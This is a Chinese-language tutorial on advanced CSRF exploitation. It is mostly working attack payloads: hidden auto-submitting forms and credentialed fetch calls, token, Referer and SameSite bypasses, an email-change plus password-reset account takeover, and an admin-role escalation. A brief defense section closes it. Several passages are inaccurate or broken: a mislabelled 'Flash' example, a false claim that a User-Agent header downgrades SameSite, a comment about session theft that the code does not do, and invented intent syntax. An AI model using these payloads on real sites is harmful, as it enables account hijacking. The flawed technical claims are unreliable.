CSRF 高级利用技巧

漏洞概述

跨站请求伪造 (CSRF) 攻击者诱导受害者在已认证的网站上执行非预期操作。虽然基础 CSRF 已被广泛防御,但高级技巧仍可绕过常见防护。

OWASP Top 10: A01:2021 (Broken Access Control)
危害等级: ⭐⭐⭐


基础 CSRF

攻击原理

┌─────────────┐      ┌─────────────┐      ┌─────────────┐
│  Attacker   │      │   Victim    │      │   Target    │
│   Website   │      │   Browser   │      │   Server    │
└─────────────┘      └─────────────┘      └─────────────┘
       │                    │                    │
       │ 1. 诱导访问         │                    │
       │───────────────────▶│                    │
       │                    │                    │
       │                    │ 2. 已登录 Target    │
       │                    │ (Cookie 自动携带)    │
       │                    │                    │
       │ 3. 恶意请求         │                    │
       │───────────────────▶│───────────────────▶│
       │                    │   Cookie: session  │
       │                    │                    │
       │                    │ 4. 执行操作         │
       │                    │◀───────────────────│
       │                    │                    │

基础 Payload

<!-- GET 请求 -->
<img src="https://target.com/api/delete-account?confirm=true" width="0" height="0">

<!-- POST 请求 (Form) -->
<form id="csrf-form" action="https://target.com/api/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@example.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>

<!-- POST 请求 (AJAX) -->
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@example.com'})
});
</script>

高级绕过技巧

1. Token 验证绕过

1.1 Token 未验证

# 测试:删除 CSRF Token 参数
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=valid_session

# 不带 token
email=attacker@example.com

# 如果成功,说明未验证

1.2 Token 与 Session 未绑定

# 步骤 1: 用自己的账号获取 token
POST /api/get-csrf-token HTTP/1.1
Cookie: session=ATTACKER_SESSION
Response: csrf_token=ABC123

# 步骤 2: 用受害者的 session + 攻击者的 token
POST /api/change-email HTTP/1.1
Cookie: session=VICTIM_SESSION
csrf_token=ABC123  # 攻击者的 token

# 如果成功,说明 token 未与 session 绑定

1.3 Token 可预测

# 测试 token 生成规律
import requests
import hashlib

tokens = []
for i in range(10):
    r = requests.get('https://target.com/api/get-csrf-token', 
                     cookies={'session': 'test'})
    tokens.append(r.json()['csrf_token'])

# 分析规律
# 时间戳?递增?哈希?

1.4 Token 复用

# 测试:同一个 token 能否多次使用
POST /api/action1
csrf_token=ABC123

POST /api/action2
csrf_token=ABC123  # 同一个 token

POST /api/action3
csrf_token=ABC123  # 还能用?

2. Referer 验证绕过

2.1 Referer 缺失

<!-- 某些服务器在 Referer 缺失时不验证 -->
<meta name="referrer" content="no-referrer">
<img src="https://target.com/api/action">

2.2 Referer 子域名绕过

# 验证逻辑:referer.contains('target.com')
# 绕过:
Referer: https://target.com.evil.com/action
Referer: https://evil.com/target.com/action

2.3 Referer 参数覆盖

# 某些框架优先读取参数
POST /api/action?_referer=https://attacker.com
Referer: https://attacker.com

3.1 SameSite=Lax 绕过

<!-- Lax 允许 GET 请求跨站 -->
<a href="https://target.com/api/delete-account?confirm=true" target="_blank">
    点击查看
</a>

<!-- 用户点击后,GET 请求携带 Cookie -->

3.2 SameSite 降级攻击

# 旧浏览器不支持 SameSite
# 强制降级到无保护

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)

3.3 子请求绕过

<!-- 某些场景下子请求不受 SameSite 限制 -->
<iframe src="https://target.com/csrf-page"></iframe>
<script>
    const iframe = document.querySelector('iframe');
    iframe.contentWindow.location = 'https://target.com/api/action';
</script>

4. CORS 配置错误结合

# 目标站点 CORS 配置错误
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

# 攻击代码
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@example.com'})
}).then(r => r.text()).then(console.log);
</script>

5. Flash/HTML5 混合攻击

<!-- 已淘汰但仍有效 -->
<iframe src="https://target.com/csrf.html" name="target"></iframe>
<form action="https://target.com/api/action" method="POST" target="target">
    <input type="hidden" name="param" value="evil">
</form>
<script>document.forms[1].submit();</script>

实战案例

案例 1: 邮箱修改 + 密码重置

<!-- 1. 修改受害者邮箱 -->
<form id="f1" action="https://target.com/api/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@example.com">
</form>

<!-- 2. 触发密码重置 -->
<form id="f2" action="https://target.com/api/reset-password" method="POST">
    <input type="hidden" name="email" value="attacker@example.com">
</form>

<script>
document.getElementById('f1').submit();
setTimeout(() => {
    document.getElementById('f2').submit();
}, 1000);
</script>

案例 2: 权限提升

<!-- 管理员操作:添加用户到管理员组 -->
<form action="https://target.com/admin/add-role" method="POST">
    <input type="hidden" name="user_id" value="VICTIM_ID">
    <input type="hidden" name="role" value="admin">
</form>

<!-- 诱导管理员访问 -->
<a href="https://attacker.com/csrf.html" target="_blank">
    查看敏感信息
</a>

案例 3: 内网 CSRF (结合 XSS)

<!-- 1. XSS 窃取管理员 session -->
<script>
fetch('https://internal.target.com/api/action', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({action: 'delete_all'})
});
</script>

<!-- 2. 诱导管理员访问恶意页面 -->

案例 4: 移动端 CSRF

<!-- 移动 App WebView CSRF -->
<!-- App 内嵌 WebView 自动携带 Cookie -->
<a href="myapp://csrf-action">点击领取奖品</a>

<!-- 或利用 Deep Link -->
<intent>
    action: VIEW
    data: myapp://api/delete-account
</intent>

工具

CSRF PoC 生成器

# Burp Suite
1. 捕获请求
2. 右键 → Engagement tools → Generate CSRF PoC

# 在线工具
https://portswigger.net/web-security/csrf

CSRF 检测脚本

import requests

def test_csrf(target_url, session_cookie):
    # 测试 1: 无 Token
    r1 = requests.post(target_url, 
                       cookies={'session': session_cookie})
    
    # 测试 2: 空 Token
    r2 = requests.post(target_url,
                       cookies={'session': session_cookie},
                       data={'csrf_token': ''})
    
    # 测试 3: 随机 Token
    r3 = requests.post(target_url,
                       cookies={'session': session_cookie},
                       data={'csrf_token': 'random123'})
    
    # 比较响应
    if r1.status_code == r2.status_code == r3.status_code == 200:
        print("可能存在 CSRF 漏洞")

防御建议

服务端

# 1. 使用 CSRF Token (与 Session 绑定)
import secrets
from hashlib import sha256

def generate_csrf_token(session_id):
    secret = get_session_secret(session_id)
    return sha256(f"{session_id}:{secret}".encode()).hexdigest()

def validate_csrf_token(session_id, token):
    expected = generate_csrf_token(session_id)
    return secrets.compare_digest(expected, token)

# 2. 验证 Referer/Origin
def validate_referer(referer, allowed_hosts):
    from urllib.parse import urlparse
    parsed = urlparse(referer)
    return parsed.netloc in allowed_hosts

# 3. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict; Secure; HttpOnly

# 4. 双重提交 Cookie
Set-Cookie: csrf_token=ABC123; SameSite=Strict
# 请求时验证 Header: X-CSRF-Token: ABC123

# 5. 关键操作二次验证
# 修改密码、转账等操作要求重新输入密码

客户端

// 1. 自动注入 CSRF Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/action', {
    method: 'POST',
    headers: {
        'X-CSRF-Token': csrfToken,
        'Content-Type': 'application/json'
    }
});

// 2. 验证来源
if (document.referrer && !document.referrer.includes('target.com')) {
    // 可疑请求
}

// 3. 敏感操作确认
function confirmAction(message) {
    return window.confirm(message);
}

参考链接